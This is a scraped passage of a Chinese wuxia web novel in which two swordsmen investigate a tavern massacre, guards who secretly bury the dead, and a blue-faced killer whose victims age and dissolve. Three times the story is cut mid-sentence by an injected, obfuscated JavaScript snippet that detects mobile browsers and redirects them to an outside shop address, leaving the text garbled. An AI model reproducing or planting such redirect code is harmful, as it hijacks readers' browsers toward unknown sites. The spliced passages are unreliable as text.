周盈望着那人消失的地方,怔怔出神,越想越觉得眼熟。他喃喃道:“似乎是特意引我们到此处。” 十八学士心中早觉不对劲,现又听他话中意有所指,恍然大悟:“后面是不是没人再离开?” 周盈暗道不好,转身跳上树头,往山上一看,果然,山上漆黑一片,见不到一点光亮。 如果那个人真是刻意引开他们,那山上必定有事发生了。 二人心领神会,忙奔着酒馆去了。 行走之时,二人有意留心着沿路是否有打斗痕迹。有他二人开了头,照常理来说,发现他们平安无事后,众人应该都陆续下了山。 可现在…… 山中静得发慌,十八学士似乎为那神秘来者心事重重,也不发一言,二人且看且走,循着旧路,片刻便已到了酒馆。 店门口烂布招子孤零零悬着,小酒馆已陷入了死一样的宁静,原本敞开的大门也被紧紧关上。 见此情景,周盈心中警觉,便逐渐放缓脚步,伸手按住了背上随身之剑,那剑通身是青白之色,泛着幽幽光华。十八学士向他示意,一上前,倏地推开了紧闭的大门。 陈旧的木门在被推开的一刻,“吱呀”哀嚎一声。 门一开,月光入户,落入匆匆赶回的两人眼中的正是众人如醉酒一般,东倒西歪的尸身。 一屋子,几十口人,竟一同丧命在这家酒馆! 周盈跨过那低矮的破门槛子,正中间红烛燃尽,只余大大小小的腊滴凝结在烛台上。 那掌柜死前似乎想去摸那烛台,身子靠在烛台下的正中央的桌子上,肩膀歪斜,手指微微弯曲,深深垂下了头。 十八学士朝他脖子一模,脉息全无,已然死透了。 见他动作,周盈心中明了。 再环视店中,只见桌上杯盏除一两个摔碎的,其他都在桌上安然放着。周盈用足尖拨开碎块,便是一滩水渍。顺着水渍流向,大胡子倒在一侧,袖口和胸前都沾了酒水。至于一旁倒伏的凳子也似受了人牵连,并无严重损坏。 很明显,他倒下时似乎要饮口酒,因意外死去,才握不住杯子,溅了自己一身。 瘦黄高个儿死在他旁边,脸朝天,背朝地,神情如常,瞧不出异样。 从表面看来,店里没有任何打斗痕迹。 周盈不放心,又再往众人鼻下一探,连着几人,无一例外都断了气。 与寻常坊市不同,店中众人均为阎王刺而来,无论强弱,手底下都是会几手的。比如大胡子,他随身配刀少说也有四五十斤重,能轻易背住四处行走,遇人要伤他性命,就算修为悬殊,也不可能死得如此无声无息。 何况店中几十口人! 修行之人感知力与观察力又比常人灵敏许多,然而这些人多半是在桌子边断气,刀未出锋,座位与刚才最开始相比没有明显变化,也就是说他们临死前甚至没有感知到危险靠近。 杀人者修为再高,也不可能同时不知不觉杀死这么多人。 十八学士捉起桌上酒杯,背过身,想借着月光查探,他道:“得查查是不是中毒。” 周盈应言吹开火折子,往死者身上一照。 这些人面容平和,虽然已经死去,面色也还没有明显变化。他掰开死者的嘴,死去的时间还不长,唇上还有正常的血色,至于口内,更无中毒的迹象。 十八学士放下杯盏:“这些只是寻常酒水。” 况且他和周盈也饮了这里的酒,若有毒,自己不可能全无察觉。毕竟这世上没有一种毒药可以毒死一批人,独独对他们没丝毫影响。 总之,绝对不是中毒! 似乎因为死前没有挣扎,这些人衣服十分完整。一一检查过去,脖子胸口都没有致命伤,至于腕口、腹部、背部虽有伤口,但大多是练功时的刀枪之类的旧伤,偶或有新伤的,也都不致命。 周盈心道,杀人不见伤口,好诡异的手法。 正欲进一步细探时,远处树林竟悄然现出了火光。周盈感觉十分灵敏,火光一靠近,他便吹灭了火折子,拉着十八学士自窗口轻身翻了出去。 黑夜之下,成片的火光靠近了,来人随身都配一把金刀,正是十里槛的金刀守卫。 来者约七八个,随着火光照入门内,火把上的影子落在陈年小店破落的墙壁上。 此时,周盈与十八学士已从窗下轻轻越上了高枝。这天的月亮格外圆亮,月光下泻,竟也不觉得昏暗。两人便借着还未落光的树叶勉强将身形一隐,只远远地看着。 周盈不认得金刀卫,一时还猜不到这群误入者的来历。但见来人佩着刀,知是有来路,道:“学士你瞧,他们发现了。” 他二人站得高,自窗外看见那群误打误撞走进来的刀者一个一个探活口,手上火把的光也来来回回在这间小小的酒馆里移动。果然,没多久,这群后来者也确定了没人生还。 周盈留心观察店中人一举一动,心道,常人见一下子死了几十人怕是吓都吓死了,纵然是刀者,虽见惯生死,此种反应也未免太镇定了。 疑惑之际,却听见十八学士道:“公子好快的手脚。” 的确, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796337|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若不是离开得及时,恐怕两人就要被当成凶手当场捉拿了。 然而这样的赞赏放在当前的情况下未免显得有些诡异。 周盈闻言,随心答道:“瓜田李下,不敢作经验之谈。” 他听力极佳,夜晚并无外物干扰,那些刀者又未刻意掩饰,酒馆中谈话便悉数入耳。 与最开始的镇定相比,那些刀者在确定人数后脸色大变。 “三十九,少了两人。”话中透着藏不住的错愕。 周盈听此话,琢磨着,他与十八学士,正巧两个。 周盈又听其中一人道:“他们一定看到了,怎么办?” 一人又道:“不可能,那个人不会放过他们。”语气坚定,却又有些虚浮。 听着这群后来者打哑谜一样的对话,周盈心下大疑:“他们”应该指的是自己和十八学士,那么,“他”又是谁?自己与十八学士又该看到了什么?这些人到来之前,这里分明只有死人! 而且,为什么说“他”不会放过自己? 不会放过自己,难道是之前遇到的神秘人? 周盈不禁与十八学士对视一眼,黑夜里,十八学士投来同样疑惑不解的眼光。 这时,又听见一人道:“无论怎样,计划不变。” 语气决然。 不管怎样的“计划”,必然与店中凶案有关,周盈正欲进一步探查。然而,不知是感应到外面窥视的二人,还是刀者长久训练出的警觉性,酒馆中人突然把门窗一掩,将屋内屋外隔出两个分明的世界。 周盈心道,这些刀者已经知晓自己与十八学士逃脱,不探查,反而闭门不出,只怕是藏在店中等他二人自投罗网。想到此处,他暂不轻举妄动,有意探听那些刀者口中“计划”。 更夜长,夜色静,一缕一缕的风嗖嗖地穿过林间,送入耳畔,呼啦啦地响。 等待越久,心上越是不安,仿佛事情不知不觉间早已脱出掌握。 周盈想起一句话:月黑风高,杀人夜。 他抬起头看了看天,硕大的月分明就在斜上方呢,只是月的身旁没有星,只有孤冷的清辉。 他不由得抬手摸了摸背上长剑。 十八学士察觉到他的动作,却不知他心中所想,倒是因他意外的动作吃了一惊,然后略显惊疑地打量着四周。 等他终于确定没有人会从后面给他们一刀后,才似安心一般地又把目光投回门窗紧闭的山中酒馆。 这时,这些刀者也终于出现了。周盈对月一看,早已过了三更天,天色比先前更黑了几分。只见陆陆续续出来了五六人,他们轻轻地推开门,又轻轻地关上,似乎要让这“陈年老调”也赶紧闭上嘴。 等他们关拢了门,在酒馆的招子前聚在一起时,定睛一看,只见他们腰间长刀烁着金光,身旁却是一团幽幽黑影。 为首的刀者扛起那团黑影,人一转身,黑影也略微移动,一张苍白的脸正对着周盈。 那张脸不久前合上眼,却又不愿瞑目,只以那张苍白的脸,借着月光,透出纯然死气,无声诉说着不甘。 周盈眼见着死者一步步远离,整个人被拖进林子,连那张发白的脸也一点点隐没,心里有说不出的滋味。 他留意一数,出来的一共六人,那么店中应该还剩两三人。这两三人一直都不出现,守在店里不知在做什么勾当。 就在金刀卫人影再次出现时,十八学士似乎明白了什么,对着周盈轻声吐出两字——坟墓。 5. 不寰鸟(五) 闻言,周盈果然看见刚才金刀卫消失的道上,陆陆续续又出现了几道人影。被他们带走的尸体自然是不见了。这些金刀卫走到酒馆前的空地时,依稀可以看见他们的鞋上似乎都沾了厚厚的泥土。 周盈奔波数日,鞋上也只沾了少量灰尘,这些刀者才去片刻便弄成这样,前因后果,他们在做什么勾当实在太明显。 这山上都是坟墓,哪怕再多几个,也不会有人怀疑。 果然是个藏尸的好地方。 之前听他们话中之意,似乎与那凶手不是一伙的,但眼下深夜埋尸的举动又像在为凶手遮掩着什么。 看似矛盾的两点,有什么理由可以解释得通? 酒馆中死者共三十九人,这队金刀卫一来一去,到第六趟时只回来了一人。 想来那边的尸体已经处理好了。 如果掩埋尸身应该只是计划的一环,那他们做这些的目的是什么?凶手掩埋尸体是为了让自己开脱,这些刀者又是出于什么理由这样做? 夜黑风高,一切都在悄悄进行着。周盈与十八学士已蹲守了半夜。只见那独自回来的一人,他轻轻叩开了酒馆的门。一阵骚动后,藏着店里的三名刀者也终于露面了。 显然,他们一直没有离开这间屋子。周盈心道,或许计划的另一环在那酒馆中已经开始了。 就在四名刀者欲离开之际,林中不适宜地传来一阵意外的响动。一旁窥探的周盈与十八学士闻声心上一动,朝那骚动的源头双双望去。就在同一时间,一柄金刀哐地掷入林中。 随后,响声渐止。一人朝林中走了过去,正是出刀者。 那人动作麻利,听见呜咽一声后,也不管击中的是人是物,便向林中一探,一捉。黑夜之下,周盈看见那人手上提着的正是潜藏在山中的小黄麂,可怜的家伙被金刀击中要害,一命呜呼了。 那人提着猎物在眼前晃了晃,拔了金刀,将惨死刀下的可怜家伙往林中一丢,与众人一起走回埋尸之地。 周盈默不出声,悄悄跟在他们后面。 这刀者全程不发一言,似乎刻意压低了脚步声,虽不曾回头,警觉心却未曾放下,手始终按着腰间的武器。 周盈知道,这种警觉必定是长期训练出来的。 穿过幽寂的林子,就是偏僻的一片空地,正如周盈所料,这边等候的人已经把店中遇难众人的尸首掩埋好了。 寂寞的月夜,偏僻的山地,下面不知埋了多少枉死的人。 这时,十八学士突然意味不明地指了一下。 周盈顺着十八学士所指的方向,目光落在铁锹旁的袋子上。火光之下,那约一人来长的袋子装着的正是死者的尸体。 也就是说,他们埋了所有尸体埋,却偏偏留下一具。 十八学士轻声道:“看来他们拿走的尸体还有些古怪。” 这些刀者忙活半夜以后又聚在了一起,其中三人不知道什么原因已经化作了寻常的布衣打扮,就连腰间的金刀也换成了短剑藏在身上。 一个金刀卫道:“趁夜快行,别被追上了。” 周盈心道,看来,这就是“计划”的第二步,但不知这人口中的追赶者是指杀人凶手还是山上神秘来者。 或许,他们原就是同一人。 可是,转念一想,若是三摩地那人,这些刀者绝对逃不出他的追踪。 那乔装好的刀者道:“再过两个时辰就天亮,谅他也追不上。” 说者无心,周盈听到这话却心上一动,目光不由得投向十八学士。 十八学士知他心中困惑,也只能摇了摇头。 那负责护送的金刀卫已经背上了尸体正准备离开。周盈知这天大地大,等他们一走远,天南地北不知道要去哪里找,忙捏了个口诀。 十八学士正暗中盯着金刀卫一举一动,突然听见一声惊呼:“起火了!” 只见那便装金刀卫肩头竟冒起了小小的火苗。那火苗闪着幽微的蓝光,在肩头轻轻摇曳着,如同扎根在人身上。火势既不扩大,也没熄灭的迹象。 金刀卫突然的一声,让他的同伴以为是敌人来袭,一个个抽出了佩刀,摆出了防卫之势,四处搜索着,活像受惊的野兔。 周盈和十八学士自然不会叫他们找到。 好一会儿,这些如惊弓之鸟的金刀卫才缓缓回过神。 一人提醒道:“火把拿远些,烧到人可不好了。” 他口中的“人”是指口袋里装着的尸体。至于肩头冒火的倒霉蛋,左肩看似是因为离火把太近被点燃了,那火苗实在太弱,随手一拍,本就可有可无的火气即刻熄灭了。 十八学士察觉到同行之人在火光出现一刹轻微的举动,知晓那火来得离奇,询问的目光自然关照到了周盈。 周盈连忙抱歉道:“过头了,过头了。” 这时,那换过装三人受了嘱托便一起离开,他们一只手举着火把,步子十分稳当。一眨眼,就没了人影。 为了确认追踪是否成功,周盈见人离开马上再捏个术法。一探,人已经走出数百步了,他们直接往山下去,速度快得异常。 周盈收回术法,想看余下六人有什么动作。出乎意料的是,他们并不同行,反而不约而同地从六个不同的方向离开。周盈正想着跟上去瞧一瞧,一旁十八学士却道:“我们先把要紧的事做了。” 说罢,人已经钻出了林子。 周盈忙道:“再等一等,这些人警觉得很,恐怕又会折回。” 十八学士道:“你知道他们分头做什么吗?” 周盈摇头,只听他道:“结阵。” 十八学士催促道:“动作快些,我们只有不到一刻的时间。”话毕,就挥起那锄头将那小小的土包掘开了一个洞。 周盈听他催促,不再多想,从林子跳了出去。 那群刀者虽然离开,铲子却留在了此地。这些人死得冤枉,周盈对那被刨的坟一作揖,默念了句“叨扰”,举起铲子加入了罪恶的阵营。 因是新挖的地,土质十分松软,几锄头下去,隐约觉得土薄了。他们怕损坏尸身,用手拨开表层土壤,土壤下面出现一头花白的头发。二人又小心将背部的土拂去,死者一身布衣打扮,正是堂上掌柜。 秋天有时不让人觉得爽快,只觉得凉飕飕,阴森森的。早先十八学士摸他脉搏时尸身还是柔和的,现在已经彻底变成一具冰凉的尸体。 二人将他的尸身拖出,揩干脸上的泥迹,这是一张略显苍老的面孔,死后被夺走了温度,原本蜡黄的面色现在看来十分苍白。 周盈将身体一偏,吹开火折子细细勘察。 那掌柜手指甲里嵌进了土,但可以看出没有异状,的确不是中毒。 周盈又将他胸口的衣物扯开,不禁地“咦”了一声。 这掌柜没习过武,不经常打打杀杀,习武之人容易受伤的地方一丝伤痕都没有。两人又将他的躯干以及致命处都检查一遍,仍和之前一样,看上去是自然死亡。 周盈心道,这些人死法都是一样,那些刀者话语中又明显知道什么。见此死状又无异色,恐怕早已知道死因,带走那具尸体应当还有他用。 十八学士暗暗聚力往掌柜体内探去,探到深处,不由得一惊。 周盈察觉他面色微变,道:“可有什么异常?” 十八学士摇摇头:“这掌柜不是死于内伤。” 没有内伤,也找不到致命外伤,更不是中毒,还有什么手段能杀死人,同时杀死这么多人? 两人把掌柜匆忙埋葬,十八学士道:“没时间了,先离开这座山再说。” 周盈只得按下心中疑惑,随他一同离开。 来回走过一遭,二人对地形比先前略微熟悉些,虽不便点火探路,行走却极快。不一会儿就到了临近山口的地方。 同一时间,以这座山为中心,一个方向一道,山外竟同时出现六道金光六道。那金光自山脚下向空中延伸,逐渐形成一个巨大的“鸟笼”罩住了整座山。 这便是十八学士口中的“阵法”。 那鸟笼的顶端就要闭合,十八学士催促道:“快走,要来不及了。” 说罢,两人同一时间提气,冲下了山。 与此同时,那几道金光在“鸟笼”完全闭合的一刹那便消失无影。 阵法完成! 周盈回头望着金光消失的地方道:“这些人是公室的金刀卫。” 他隐约记得十八学士提过,依据腰间金刀,自然往公室身上猜。 十八学士早已经看出他们来历,点点头:“不错。” “他们方才布的是什么阵法?” 十八学士道:“不寰鸟,公室惯用的手段罢了。” 所谓不寰鸟,取的是飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796338|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸟投林之义。鸟本傍林而生,自由之所,反成为了樊笼。 “阵法一旦结成,就会在固定范围形成阵圈,结阵者通过这个阵法可以轻易感知到阵里的动静,六人结阵,只要其中一人动手,刚刚那六道金光就会一点点收缩,直到将阵中人绞杀。”十八学士道,“晚走一步,你我小命堪忧啊。” 周盈思索一阵,忽道:“不对,逃脱的不止两人!” 十八学士眉头一紧。 周盈道:“掌柜儿子,方才根本没看见他!” 十八学士这下也想起来了,说:“人没死!” 周盈忽起一个念头:“刚才山上那人,是他,那人是掌柜儿子!” 难怪他觉得那双眼睛如此熟悉! 十八学士道:“金刀卫说少了两人,难道没注意到他?” 周盈觉得奇怪,掌柜家的病儿子,老实说的确没什么存在感。但金刀卫显然有备而来,不至于出现这种疏漏。 他想了想,猛地反应过来:“少的的确只有两人,但不是掌柜儿子。” “是我。” 十八学士经他一提醒,也明白过来,酒馆之人全是为了阎王刺而来,那掌柜父子也是古里古怪,唯独周盈,他是被人哄来的。 周盈大奇:“那女子好端端骗我来做什么?” 十八学士忽然起了一个想法,他道:“恐怕她不是故意要害你,也不是想害酒馆众人。” 周盈不可置信道:“她……她想救人?!” 二人对视一眼,当即明白。 那女子的要求十分无理,她让周盈去打人,肯定知道周盈会被人为难。但是换句话说,如果她一早就知道店人会有危险,这样不是反而救了那些人。 因为一般人无故被打的第一反应一定是惊愕,反应过来后,肯定就要报复。此时,打人者若不道歉,还拔腿就跑,被打的肯定会去追。所以那女子才会叮嘱周盈打完快跑,目的是将愤怒的众人引出酒馆。 可事情就坏在这里。 她不小心打了那掌柜儿子,所以迟疑了一下,就这么一下,门关了。而且酒馆众人一颗心全在恶鬼身上,周盈那几巴掌比起性命之忧还是轻了。 周盈道:“公室好像一早就知道这些人会死在这里。” 十八学士略微点头,表示赞同。四村惨案闹得沸沸扬扬,阎王刺又失踪,前几日公室都没动作,原是早就私下埋伏了人。现在张开“不寰鸟”,显然是提防漏网之鱼。 十八学士道:“只是不知道他们拿走尸身作什么?” 周盈道:“跟上去看看便知。”说罢,他微微张开左手,幽蓝的火光由暗转明,在指尖跳跃着。似乎感应到了什么,他道:“东南三十里。” 十八学士一听,道:“这个方向,他们要回十里槛。” 公室暗渡陈仓,他们上去插一脚可不算明智,搞不好惹祸上身。 周盈知他话里有话,但心觉有愧,道:“那三人已先跑出去三十里,再慢些,人进了十里槛怕查也不好查了。” 十八学士听了此话,便说一起。 再说那三名金刀卫原在此固守多日,对附近地势极为熟悉,所经路线都选在偏僻少人又方便行路的地方。周盈跟在三人身后一路追踪,周边渐渐开阔起来,山峰在追逐中一一后退,待到现出了平坦的土地时,天隐隐就要亮了。 远处地平线逐渐清晰。 二人有心追踪,加上脚力本有较大差距,三十里的距离逐渐被拉近。周盈以追命火可随时掌握着三人动向。再一感知,突然道:“他们的速度慢了。” 远处旷阔的地平线似乎泛着欲明欲暗的极其微弱的光,穹顶更是一片漫天的红紫,似乎从二人离开的地方铺撒开,一直延伸至看不见的远方。 红日即将升空。 微光之下,就隐隐看见远处一个模糊的黑点,那黑点随着脚步的移动越变越大,并且逐渐出现了三个清晰的人形,正是二人追赶的金刀卫。 颠簸的身影,行进之间已现出了疲态。此时距日出不到小半个时辰,天色渐渐摆脱夜晚的暗迹。 远远地,三名金刀卫前出现一个模糊的轮廓,随着距离拉近,天色微微转亮,那巨大的轮廓越来越明显,四方的布局,是个再寻常不过的村庄。 周盈原以为他们要把尸体送回公室,谁知他们却找了路边的村庄停下歇息。 6. 不寰鸟(六) 村中人多眼杂,二人打算在进入村庄前将那三名金刀卫劫住。 周盈回忆起昨晚那掌柜儿子,从袖间扯出一块暗色长帕,撕作两半,一块把自用,一块递给十八学士,笑道:“既是做强盗,遮住脸,别人就不会认出来了。” 十八学士一本正经:“公子经验不够,这帕子打斗时一扯就露馅了。”边说边接过半边手帕,把半张脸严严实实地围住。 天色转亮,又经一夜奔袭疲惫不堪,三人一时放下了戒心,渐渐放缓了脚步。 怎料大意之时,一道强劲力道直冲脑后。 周盈一掌拍出,先向那背着尸体的金刀卫发难。 那金刀卫预感到了威胁,以为大难临头,虽然早就已抱着必死决心,却控制不住惧意,身上冷汗乍起。 然而他害怕至极,却不得不强忍着惧意回身一闪,果断地将背上之人抛给同伴。 周盈见他将尸体一抛,本不想伤他性命,即刻收了掌,顺势拦在二人之间。 半路杀出个程咬金,来人又面生,金刀卫怒由心生,正想拿公室威呵,又想到此事隐秘,倒不敢暴露,只得怒道:“你是什么人?” 周盈道:“过路的人。” 说罢,一掌击向应援而来的金刀卫。 顿感压力,那人避之不及,忙从衣服里抽出短剑欲要挡住掌气。情急之下,剑亦偏了三分,被余劲伤及,摔出一丈多远。 另外两人一心只在任务,明知同伴受伤也不回身来救,反想着趁此机会逃开。 周盈摇头道:“好无情。”说罢,起手一推,拦住二人去路。 金刀卫见人挡路,嚯地抽出那把早已藏在衣中的短剑,直直攻向周盈。 暗剑偷袭,本在个出其不意,下手也十分狠戾。但可惜,这些金刀卫功夫似乎不像传闻中的那样了不得,在周盈手下只有吃亏的份儿。 他不退亦不攻,只将掌劲化软,将那夺命利刃顺势推回偷袭者怀中。 另一边,十八学士动作极快,趁二人缠斗时已将尸体夺到手中。见周盈已经拦下两人,道一声:“快走!” 转身刹那,忽听周盈惊恐道:“后面!” 十八学士不明所以,听他言语间难抑惊乱,料到事态紧急,亦不回头,只侧身一避。 紧接着,只听见背后一声惨叫,不久才与自己照面的金刀卫竟似中邪一样无声倒下。 那声撼人惨叫正是惨死金刀卫的同伴发出。 同伴的生死,自己的生死,他们早已看淡,但长日奔波又连遭偷袭,力尽神疲,又亲眼目睹如此诡异的杀人手法,一时失了控。 十八学士心知不对劲,一回头,竟见到一个青面怪人。 那人徒留着人形,全身皮肤却似被冻惨了一般发青,青色中又透着全不像活人的苍白,在日出将至的此刻诡异极了。 尤其身上透出一股纯然的死气,竟和那晚三摩地的鬼气有几分相似。 这人无声无息出现,四周又无遮蔽之物,村庄也还有数百米之远,纵使十八学士见多识广也不由得暗暗吃惊。 十八学士反应极快,一迈步跳出去数丈远。 青面怪人似有愠怒,不由分说,又朝他攻来。 周盈见状,抛下被吓傻的金刀卫,背上青白长剑瞬间出鞘,刺向青面人。 十八学士趁隙再跳出数丈,欲先退出战局,在一旁伺机而作。 利剑出鞘,青面人并不躲避,生生接下周盈刺出一剑。 周盈也没料他这样不要命,为留活口,刺下去的剑锋倒是浅了两寸。 谁知那人在被刺中一刻,身形乍地不见。只听见砰地一声,最后一个金刀卫意外成为牺牲品。 死状和他同伴一样,不见血,不见伤口,无声无息。 这下,周盈终于明白了,青面人与山中惨案断然脱不了干系。 对十八学士道:“不能放他走!” 十八学士默然不动,只掌心暗暗聚力,正憋着坏水。 猝不及防,青面人又突然转换身形,冲他扑来。 十八学士不慌不忙,只道:“周公子,我们是遇上行盗的行家了。” 说罢,将手上尸体一抛,举掌便打。 那青面人却又跳开,嗤笑两声,尖涩苍老的嗓音道:两个短命的,今天就让你们一起上西天!” 周盈道:“渡我上西天,你是和尚还是尼姑?” 青面人气得脸更青了! 周盈嘴上不饶人,一边却配合着十八学士。 他远远地发了一道剑气,阻断青面人逃路。 青面人一时逃脱不得。除周盈一剑外,瞬间再受十八学士一掌。 掌劲透骨,修为稍低的必然当场爆体而亡,十八学士知他所依仗之物诡异,抬掌便要性命,一掌击中要害。 谁知那青面人连连受创却不见血,身形跳脱,似乎完全不受伤势影响。 另一边,周盈已提剑攻来,十八学士侧身闪避,配合剑招欲先擒人。 那青面人有所仰仗,见剑再攻来,不躲闪,预备再吃下剑招。 殊知周盈把剑一偏,却掏出左手,佯装着要擒人。十八学士灵机一动,朝那青面人后心一抓。 两边攻势合击,眼见就要得手之时,那青面人似乎察觉二人用意,诡异步法再出,一眨眼的功夫,逃出了两人围攻。 青面人知两人修为不弱,却不趁机逃走,反过头却笑道:“二打一,好不要脸。” 尖涩的嗓音自他喉头发出,似是地狱的呼唤,颤人心扉。周盈也不恼,持剑的右手一转,再出一剑。道:“你抱头鼠窜的样子不是更狼狈?” 话毕,青面人再吃一剑。 剑势凌厉,实实打在青面人身上。剑锋入体三分,却是不见流血呕红。 两人不及思考,想再擒人。 这时,方才十八学士抛下的尸体被剑气波及,套在外面的黑布瞬间被撕裂成大块小块的破布,里面的尸体猝不及防地暴露在二人眼前。 那尸体在地下翻滚两圈,等停下时,一张苍老的面孔正面对着周盈。 尸体的一头白发胡乱散开,遮住了半边脸。另外半张脸上,面颊却深深凹陷进去,额头到嘴下都是一道道的皱纹,面中似乎还长着深色的老年斑。 这人,即便不死也是吹灯之年。 一直追查的尸身意外露出真容,二人尚不及细思,却听见青面人得意一笑:“多谢了。” 话音刚落,青面人影已经消失得无影无踪。 那袋中尸体暴露以后,周身骨肉竟连着头发一道迅速消亡,滋出一阵青烟。青烟由小变大,直冲上空,又渐渐变稀,直至完全消失。 十八学士暗道不好,伸手一探,死者人尸骨无存,只留下一身衣服。 一番缠斗后,天已经大亮。村中鸡鸣叫得震天响。 盯着地上黑布,十八学士半天瞧不出个所以然,不由得眉头紧蹙:“你记得当时店中有这样的人吗?” 周盈回想当时情景,那班人都是武者,声音洪亮,举止间自然比常人多几分气劲。店中唯一不会武功的只有掌柜,可即使是那掌柜,也不过六十的模样,断不会像这样苍老的面容,何况二人亲自检查过掌柜尸身。 周盈当即否定了。 想了想,他苦笑一声:“今天真是连连撞鬼。” 十八学士道:“青面人来意不难猜。” 周盈道:“为那具尸体。” “或者说是为毁去他杀人的证据。” 周盈记得,四村惨案,生不见人,死不见尸。他拨开布袋,肉身灰飞烟灭,只剩一具空壳,据说那没人的村子里也只剩飘飞的衣物。 杀人的秘密都藏在尸体上,金刀卫千里迢迢护送一具尸体也说得过去。 二人将目光投向惨亡的金刀卫,最后又落到眼前的村子上。村子的正中是一条一眼望不到底的大道。现在天已经大亮,过不久村中就会来人了。十八学士道:“先将尸体处理了。” 话音刚落,那先后暴死的两名金刀卫,他们的面容、头发竟也起了明显的变化,随着头发尽数转白,面上也生出皱纹和斑点,成了一张垂老的面庞。 再一细看,甚至连着握剑的手也变得骨节突出,全身的肌肉瞬间萎缩,干巴巴的,只剩一层布满皱纹的皮。 面相发生变化后,那两名金刀卫身上竟也冒出缕缕青烟,烟气越来越大,直上天际,如死魂升天一刻向人间的哀告。 只消片刻,青烟消弥,被杀害的两人尸骨无存,只留下短剑和一身布衣。 没有公室标志性的金刀作证,再也没人会发现他们的真实身份。 周盈与十八学士一会意,皆肯定这必定是被杀者共同的特征。 可是那天晚上的尸体为何没有变化? 周盈望向日出的村头,想起金刀卫说的一句话。 为什么天亮之前不能被追上? 三名金刀卫,两个惨死青面人手下。还有倒地的另一人,他被周盈的剑气所伤,一直昏死不醒,倒是逃过一命。 周盈看着他,道:“这人怎么处理?” 十八学士道:“一个大活人丢在路边不好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796339|190652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想了想,他又说:“不过前面就是村庄,等村民发现自然会获救。” 至于这人,原本就刻意装扮成普通人,对自己的身份和遭遇肯定是一点不会透露的。 周盈望着宁静的村子,道:“只怕这村里还藏着关窍。” 二人将金刀卫拖到村口的显眼之处,再走不到百步,就看见路边矮矮竖着一块指路碑,上面写着槎枒村三字,似乎是已经传下数百年的老名字,名中还保留着地方野语。 天大亮,整个村庄笼罩在一片祥和之中,秋日的阳光并不刺目。从村口走出两个村民,一个约四十多岁的模样,一个头发花白,应有六十岁上下。二人见到来客,忘了招呼,连连感叹道:“好相貌,真正生得个好相貌。” 十八学士自认长相平平,知道他们夸得是周盈。周盈从未受过这样热情的夸赞,也以为他们说的是十八学士,两人都不好搭话。这一凑巧,反而轮到夸人的觉得尴尬。 于是他们只得寒暄道:“二位可是刚从三摩地来的?” 周盈答声是,问道:“阿叔怎么知道?” 那男子笑了笑,道:“最近来往的客不都是这样,我还知晓二位要去公室。” 周盈疑惑道:“近日可也有许多人去十里槛?” 那人道:“不说这几日,便是平常没事儿,特地拜访公室路过的也不少。” 他的同伴道:“不过今日二位可稍作歇息,晚些再走。” 周盈见他二人脸上颇有喜色,道:“可是村中有什么喜事吗?” “是啊,每年九月二十的祭神大会,公子也去看看,求福求禄很灵的。” 周盈并不信鬼神之说,道:“若求姻缘呢?” 那两人闻言一笑道:“甭管求什么,只要诚心,没有不灵验的。” 周盈心道,自己若是去求了,到时不灵验,不知该怪神不灵还是自己心不诚。 他道:“不知信奉的哪方神明?” 年龄稍大的男子道:“是此地的山神。” 二人自三摩地出来数十里以后四面平坦,莫说是山,便是小一些的土丘都没见到。周盈奇道:“此处未见山,怎么信奉山神?” “听老人说这里过去就是一座山。”那人一指,道:“喏,从百里之外到村中都是。” “后来人世变换,这座山也消失了。” “但是山神一直保佑我们。”男子说得虔诚,言语之间掩饰不住的憧憬。 这种仪式周盈在书上得不少,却没真正见识几次,拜别了二人,对十八学士道:“学士可有兴趣一道去看看。” 十八学士道:“时日尚早,看看也无妨。” 似乎想起什么,他又说:“公子可听过一句话?” 周盈道:“什么话?” 十八学士道:“神本无相,鬼名无名。” 周盈一听,就知道他意有所指。 果然,十八学士道:“之前你问我恶鬼与罗刹海有什么关系,不是我不愿答,是我实在不知。一百一十九年前的恶鬼,他的名字没传下来。” 罗刹海有三煞,这三人从未以恶鬼自命。但奇怪的是,恶鬼死后,罗刹海居然凭空消失了。所以恶鬼究竟与罗刹海是个什么关系的确说不清道不明。 但这也不妨碍世人把两者牵扯在一起,毕竟两边名声同样臭不可闻。 周盈想了想,说:“神本无相,鬼名无名,下句有了出落,上句可是指此地的山神?” 十八学士道:“坊间流传的闲话,不见得都是有理可寻的。” 周盈道:“你说的不对,有些闲言碎语或许能从中窥见事情的原貌。” “如此你是信这世间有鬼神。” 周盈道:“鬼是恶鬼,神不见得是真神。” 十八学士道:“不信神的人要去神的祭典,公子真正是个闲人。” 周盈笑了声:“闲人管闲事,不是刚好。” 